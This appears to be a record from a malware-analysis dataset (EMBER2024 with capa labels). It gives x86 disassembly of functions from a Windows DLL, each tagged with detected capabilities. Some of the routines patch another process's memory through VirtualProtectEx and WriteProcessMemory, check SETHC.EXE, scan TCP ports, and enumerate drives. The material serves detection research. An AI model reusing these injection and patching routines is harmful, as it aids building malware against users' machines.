joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100017b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push edi
lea ecx, [ebp - 0x88]
push ecx
push 0x40
push 2
mov edi, 0x401496
push edi
push eax
mov dword [ebp - 0x7c], eax
mov word [ebp - 0x84], 0x29eb
call esi
xor ebx, ebx
push ebx
push 2
lea eax, [ebp - 0x84]
push eax
push edi
push dword [ebp - 0x7c]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
call edi
lea eax, [ebp - 0x88]
push eax
push 0x40
push 5
push 0x40163
push dword [ebp - 0x7c]
mov dword [ebp - 0xc], 0xe467e8
mov byte [ebp - 8], bl
call esi
push ebx
push 5
lea eax, [ebp - 0xc]
push eax
push 0x40163c
push dword [ebp - 0x7c]
call edi
lea eax, [ebp - 0x88]
push eax
push 0x40
push 2
push 0x401655
push dword [ebp - 0x7c]
mov word [ebp - 0x80], 0x67eb
call esi
push ebx
push 2
lea eax, [ebp - 0x80]
push eax
push 0x401655
push dword [ebp - 0x7c]
call edi
lea eax, [ebp - 0x88]
push eax
push 0x40
push 0x10
push 0x40faa8
push dword [ebp - 0x7c]
mov dword [ebp - 0x1c], 0xac858a50
mov dword [ebp - 0x18], 0xa2fffffd
mov dword [ebp - 0x14], 0x41ae76
mov dword [ebp - 0x10], 0x10c258
call esi
push ebx
push 0x10
lea eax, [ebp - 0x1c]
push eax
push 0x40faa8
push dword [ebp - 0x7c]
call edi
mov dword [ebp - 0x78], 0x1514
mov dword [ebp - 0x74], 0x907d5
mov dword [ebp - 0x70], 0x130001
mov dword [ebp - 0x6c], 0x6d0003
mov dword [ebp - 0x68], 0xbb0011
mov dword [ebp - 0x64], 0x15391
mov dword [ebp - 0x60], 0x6121
mov dword [ebp - 0x5c], 0xbc5001e
lea eax, [ebp - 0x88]
push eax
push 0x40
push 0x5a
push 0x41ae68
push dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0xbd300bc9
mov dword [ebp - 0x54], 0x8e8897
mov dword [ebp - 0x50], 0x19be
mov dword [ebp - 0x4c], 0x12d4
mov dword [ebp - 0x48], 0x52e1356f
mov dword [ebp - 0x44], 0x7b7a451
mov dword [ebp - 0x40], 0xa1d4e776
mov dword [ebp - 0x3c], 0xd6889843
mov dword [ebp - 0x38], 0xb1c6ff45
mov dword [ebp - 0x34], 0x98776643
mov dword [ebp - 0x30], 0x66546777
mov dword [ebp - 0x2c], 0x58645377
mov dword [ebp - 0x28], 0x805666c
mov dword [ebp - 0x24], 0xb4301660
mov word [ebp - 0x20], 0x54aa
call esi
push ebx
push 0x5a
lea eax, [ebp - 0x78]
push eax
push 0x41ae68
push dword [ebp - 0x7c]
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001386a
leave
ret

Function at 0x100019d1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10011d50
add esp, 0xc
push esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x1002254c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
cmp dword [0x1003171c], 0
pop esi
jne 0x10001a38
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [0x1003171c], eax
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.1001386a
leave
ret
Function at 0x10001a62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10011d50
add esp, 0xc
push esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x10022558
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
cmp dword [0x10031720], 0
pop esi
jne 0x10001ac9
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [0x10031720], eax
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.1001386a
leave
ret

Function at 0x10001d20
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.10011d50
add esp, 0xc
push 0x100
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x12c
lea eax, [ebp - 0x130]
push ebx
push eax
call fcn.10011d50
push 5
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.10013960
push 0xc
mov byte [ebp - 0x12d], bl
call fcn.100138d3
push 0xa
mov edi, eax
call fcn.100138d3
add esp, 0x20
push 0xa
mov ebx, eax
push ebx
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x238]
push eax
push 0xc
push edi
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push dword [ebp - 0x238]
push str.JB__x
push esi
call fcn.100137e6
push edi
call fcn.10013879
push ebx
call fcn.10013879
mov ecx, dword [ebp - 4]
add esp, 0x14
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001386a
leave
ret
Function at 0x100024eb
Capabilities:
Read file on windows

Disassembly:
push 0x4b4
mov eax, 0x10021e23
call fcn.100148bb
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x4bc]
mov dword [ebp - 0x4c0], eax
call fcn.1000a3a8
and dword [ebp - 4], 0
push 0x10
lea eax, [ebp - 0x20]
push 0
push eax
call fcn.10011d50
push 0x100228fc
push esi
call fcn.1001401f
mov edi, eax
add esp, 0x14
test edi, edi
je 0x100025a6
push edi
call fcn.1001431c
push edi
call fcn.100142f4
pop ecx
pop ecx
test eax, eax
jne 0x1000259f
mov esi, 0x400
push esi
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.10011d50
push edi
call fcn.1001428f
push edi
push 1
mov ebx, eax
lea eax, [ebp - 0x420]
push esi
push eax
call fcn.10013f46
push edi
call fcn.1001428f
add esp, 0x24
sub eax, ebx
je 0x10002594
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.1000a3ba
push edi
call fcn.100142f4
pop ecx
test eax, eax
je 0x1000254d
push edi
call fcn.10013c88
pop ecx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.1000a45d
mov edi, dword [ebp - 0x4c0]
xor esi, esi
movzx eax, byte [ebp + esi - 0x20]
push eax
push str._02x
push edi
call fcn.100137e6
add esp, 0xc
inc esi
add edi, 2
cmp esi, 0x10
jl 0x100025bd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4bc]
call fcn.10009b98
call fcn.10014905
ret
Function at 0x1000272a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x12c
xor edi, edi
lea eax, [ebp - 0x13c]
push edi
push eax
call fcn.10011d50
add esp, 0xc
push 0x100
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea esi, [ebp - 0x13c]
mov eax, esi
push eax
call fcn.10013b90
cmp byte [eax + esi - 1], 0x5c
pop ecx
jne 0x1000278c
mov eax, esi
push eax
call fcn.10013b90
pop ecx
mov byte [eax + esi - 1], 0
lea eax, [ebp - 0x13c]
push str.iphlpapi.dll
push eax
mov dword [ebp - 0x144], edi
call fcn.10013aa0
pop ecx
pop ecx
lea eax, [ebp - 0x13c]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
je 0x10002980
push ebx
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.GetTcpTable
push eax
mov dword [ebp - 0x14c], eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
push 1
lea eax, [ebp - 0x144]
push eax
push edi
call esi
push dword [ebp - 0x144]
call fcn.100143da
pop ecx
mov ebx, eax
push 1
lea eax, [ebp - 0x144]
push eax
push ebx
call esi
test eax, eax
jne 0x10002973
mov dword [ebp - 0x140], edi
cmp dword [ebx], edi
jle 0x10002973
lea esi, [ebx + 0xc]
mov edi, 0x1002dfbc
cmp dword [esi - 8], 2
jne 0x1000295c
movzx eax, word [esi]
push eax
call dword [0x10030214]
cmp ax, 0x15
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
cmp ax, 0x50
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
cmp ax, 0x51
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
cmp ax, 0x52
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
mov ecx, 0xcea
cmp ax, cx
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
mov ecx, 0x1f90
cmp ax, cx
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
mov ecx, 0x599
cmp ax, cx
je 0x100028bf
movzx eax, word [esi]
push eax
call dword [0x10030214]
mov ecx, 0x15ff
cmp ax, cx
jne 0x10002908
push 0xa
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.10011d50
movzx eax, word [esi]
add esp, 0xc
push eax
call dword [0x10030214]
movzx eax, ax
push eax
lea eax, [ebp - 0x10]
push 0x100229b8
push eax
call fcn.100137e6
lea eax, [ebp - 0x10]
push eax
push edi
call fcn.10013760
add esp, 0x14
test eax, eax
jne 0x10002908
lea eax, [ebp - 0x10]
push eax
push edi
call fcn.10013aa0
pop ecx
pop ecx
push 0x10031108
call fcn.10013b90
pop ecx
cmp eax, 2
jbe 0x1000295c
push 0x1003110a
call fcn.1001492a
mov dword [ebp - 0x148], eax
movzx eax, word [esi]
pop ecx
push eax
call dword [0x10030214]
movzx eax, ax
cmp eax, dword [ebp - 0x148]
jne 0x1000295c
push 0x10031108
push edi
call fcn.10013760
pop ecx
pop ecx
test eax, eax
jne 0x1000295c
push 0x10031108
push edi
call fcn.10013aa0
pop ecx
pop ecx
inc dword [ebp - 0x140]
mov eax, dword [ebp - 0x140]
add esi, 0x14
cmp eax, dword [ebx]
jl 0x10002821
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001386a
leave
ret
Function at 0x10002a22
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push esi
push edi
xor esi, esi
push esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 1
call dword [0x1002c54c]
mov edi, eax
cmp edi, 1
jne 0x10002aea
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x6c], 0x44
call dword [0x1002fbfc]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov word [ebp - 0x3c], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push esi
push esi
push edi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x40], 0x101
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov edi, eax
cmp edi, esi
je 0x10002aea
push 0xffffffffffffffff
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 4]
call dword [0x1003108c]
push 4
push esi
push dword [ebp + 0xc]
call fcn.10011d50
add esp, 0xc
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 0x28]
mov edi, eax
call dword [0x1003108c]
push dword [ebp - 0x24]
call dword [0x1003108c]
push dword [ebp - 4]
call dword [0x1003108c]
push dword [ebp - 8]
call dword [0x1003108c]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10004294
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
xor edi, edi
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.10011d50
add esp, 0xc
push 0x100
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea esi, [ebp - 0x108]
mov eax, esi
push eax
call fcn.10013b90
cmp byte [eax + esi - 1], 0x5c
pop ecx
jne 0x100042f6
mov eax, esi
push eax
call fcn.10013b90
pop ecx
mov byte [eax + esi - 1], 0
lea eax, [ebp - 0x108]
push 0x100229ac
push eax
call fcn.10013aa0
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004340
lea eax, [ebp - 0x108]
push str...Usp10.dll
push eax
call fcn.10013aa0
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
je 0x100043bd
push ebx
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
call edi
mov ebx, eax
push ebx
call fcn.100143da
pop ecx
mov esi, eax
push esi
push ebx
call edi
push esi
call fcn.10013b90
pop ecx
test eax, eax
je 0x100043bc
mov edi, dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 0x5c
push esi
call fcn.100136a0
pop ecx
pop ecx
test eax, eax
je 0x100043a6
push 0x8001
mov byte [eax], 0
call edi
push esi
mov ebx, eax
call fcn.1000298e
pop ecx
test eax, eax
je 0x10004397
push esi
call fcn.10004073
pop ecx
push ebx
call edi
push esi
call fcn.10013b90
lea esi, [esi + eax + 2]
jmp 0x100043b0
push esi
call fcn.10013b90
lea esi, [esi + eax + 1]
pop ecx
push esi
call fcn.10013b90
pop ecx
test eax, eax
jne 0x1000436b
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001386a
leave
ret
Function at 0x100043cb
Capabilities:
Check if file exists
Get common file path
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x104
xor ebx, ebx
push ebx
mov esi, 0x1002c448
push esi
call fcn.10011d50
push edi
push esi
call fcn.10013a90
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10004556
push 0x1002de20
push esi
call fcn.100024eb
push 0x12c
lea eax, [ebp - 0x130]
push ebx
push eax
call fcn.10011d50
add esp, 0x14
push 0x100
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea esi, [ebp - 0x130]
mov eax, esi
push eax
call fcn.10013b90
cmp byte [eax + esi - 1], 0x5c
pop ecx
jne 0x10004466
mov eax, esi
push eax
call fcn.10013b90
pop ecx
mov byte [eax + esi - 1], bl
mov edi, dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
push ebx
push ebx
call edi
push eax
mov dword [ebp - 0x238], eax
call fcn.100143da
pop ecx
mov esi, eax
push esi
push dword [ebp - 0x238]
call edi
push esi
call fcn.10013b90
pop ecx
test eax, eax
je 0x100044f2
mov edi, dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 0x5c
push esi
call fcn.100136a0
pop ecx
pop ecx
cmp eax, ebx
je 0x100044dc
push 0x8001
mov byte [eax], bl
call edi
push esi
mov dword [ebp - 0x238], eax
call fcn.1000298e
pop ecx
test eax, eax
je 0x100044c8
push esi
call fcn.10003636
pop ecx
push dword [ebp - 0x238]
call edi
push esi
call fcn.10013b90
lea esi, [esi + eax + 2]
jmp 0x100044e6
push esi
call fcn.10013b90
lea esi, [esi + eax + 1]
pop ecx
push esi
call fcn.10013b90
pop ecx
test eax, eax
jne 0x10004499
push 0x104
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.10011d50
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x234]
push str._smpr.dll
push eax
call fcn.100137e6
add esp, 0x18
lea eax, [ebp - 0x234]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
je 0x10004556
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push ebx
mov dword [0x10031554], eax
call fcn.10003f79
pop ecx
push dword [0x10031554]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001386a
leave
ret
Function at 0x10004d0f
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
push esi
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
cmp edi, esi
je 0x10004d5f
push ebx
push edi
call fcn.100138d3
pop ecx
mov ebx, eax
push ebx
push edi
push esi
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x10004d57
push 0x11
push str.SETHC.EXE
push edi
push ebx
call fcn.10002166
add esp, 0x10
mov esi, eax
neg esi
sbb esi, esi
neg esi
push ebx
call fcn.10013879
pop ecx
pop ebx
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x10009c86
Capabilities:
Hash data with md5

Disassembly:
push esi
xor eax, eax
push 0x40
lea esi, [ecx + 0x5c]
push eax
push esi
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 4], 0x67452301
mov dword [ecx + 8], 0xefcdab89
mov dword [ecx + 0xc], 0x98badcfe
mov dword [ecx + 0x10], 0x10325476
call fcn.10009c49
mov byte [esi], 0x80
pop esi
ret

Function at 0x1000a58e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
pop ebp
ret

Function at 0x1000b1d4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x1000b1e2
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
not eax
mov ecx, 0xff
cmp edi, 8
jb 0x1000b29d
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 1]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 2]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 3]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 4]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 5]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 6]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
movzx ebx, byte [edx + 7]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10025030]
add edx, 8
sub edi, 8
dec esi
jne 0x1000b200
pop ebx
test edi, edi
je 0x1000b2b6
movzx esi, byte [edx]
xor esi, eax
and esi, ecx
shr eax, 8
xor eax, dword [esi*4 + 0x10025030]
inc edx
dec edi
jne 0x1000b2a1
pop edi
not eax
pop esi
pop ebp
ret

Function at 0x1000b2bc
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
movsx edx, byte [ebp + 0xc]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x10025030]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x10025030]
pop esi
mov dword [ecx + 8], eax
pop ebp
ret
Function at 0x1000b774
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x1000b7a8
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x1000b7a3
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x1000b7d0
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x1000b7b9
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.10011dd0
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
pop ebp
ret

Function at 0x1000c547
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
test ebx, ebx
je 0x1000c5c1
push 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.1001577f
lea eax, [ebp - 0x20c]
push eax
call fcn.10013b90
add esp, 0x10
test eax, eax
je 0x1000c5a1
lea eax, [ebp + eax - 0x20d]
mov cl, byte [eax]
cmp cl, 0x2f
je 0x1000c59e
cmp cl, 0x5c
jne 0x1000c5a1
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push eax
call fcn.1000a58e
pop ecx
test al, al
jne 0x1000c5c1
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov al, byte [edi]
test al, al
je 0x1000c67a
push esi
mov esi, edi
mov ecx, edi
cmp al, 0x2f
je 0x1000c5d8
cmp al, 0x5c
jne 0x1000c5da
mov esi, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000c5d0
cmp esi, edi
je 0x1000c60d
sub esi, edi
push esi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.10011dd0
lea eax, [ebp - 0x20c]
push eax
push ebx
mov byte [ebp + esi - 0x20c], 0
call fcn.1000c547
add esp, 0x14
mov byte [ebp - 0x108], 0
pop esi
test ebx, ebx
je 0x1000c62e
push 0x104
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1001577f
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 5], 0
call fcn.10013b90
mov ecx, 0x104
sub ecx, eax
push ecx
lea eax, [ebp + eax - 0x108]
push edi
push eax
call fcn.1001577f
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 5], 0
call fcn.1000a58e
add esp, 0x14
test al, al
jne 0x1000c67a
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1001386a
leave
ret
Function at 0x1000dc20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x1000dcbf
cmp dword [esi + 4], 0xffffffff
jne 0x1000dcbf
push edi
lea edi, [esi + 0x140]
push edi
push 0x103
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
push edi
call fcn.10013b90
pop ecx
lea eax, [eax + esi + 0x13f]
mov cl, byte [eax]
pop edi
cmp cl, 0x5c
je 0x1000dc6d
cmp cl, 0x2f
je 0x1000dc6d
mov word [eax + 1], 0x2f
cmp dword [ebp + 0x10], 1
jne 0x1000dc88
push dword [ebp + 8]
call fcn.1000e38a
pop ecx
cmp eax, 0xffffffff
jne 0x1000dc88
mov eax, 0x2000000
jmp 0x1000dcc4
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000b5a8
add esp, 0x10
test eax, eax
jne 0x1000dca6
mov eax, dword [ebp + 0x10]
jmp 0x1000dcc4
push eax
call fcn.1000d6f4
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x1000dcc4
mov eax, 0x1000000
pop esi
pop ebp
ret 0xc
Function at 0x1000f8ff
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x1000f90d
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
not eax
mov ecx, 0xff
cmp edi, 8
jb 0x1000f9c8
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 1]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 2]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 3]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 4]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 5]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 6]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
movzx ebx, byte [edx + 7]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x100257f8]
add edx, 8
sub edi, 8
dec esi
jne 0x1000f92b
pop ebx
test edi, edi
je 0x1000f9e1
movzx esi, byte [edx]
xor esi, eax
and esi, ecx
shr eax, 8
xor eax, dword [esi*4 + 0x100257f8]
inc edx
dec edi
jne 0x1000f9cc
pop edi
not eax
pop esi
pop ebp
ret

Function at 0x1000f9e7
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
movsx edx, byte [ebp + 0xc]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x100257f8]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x100257f8]
pop esi
mov dword [ecx + 8], eax
pop ebp
ret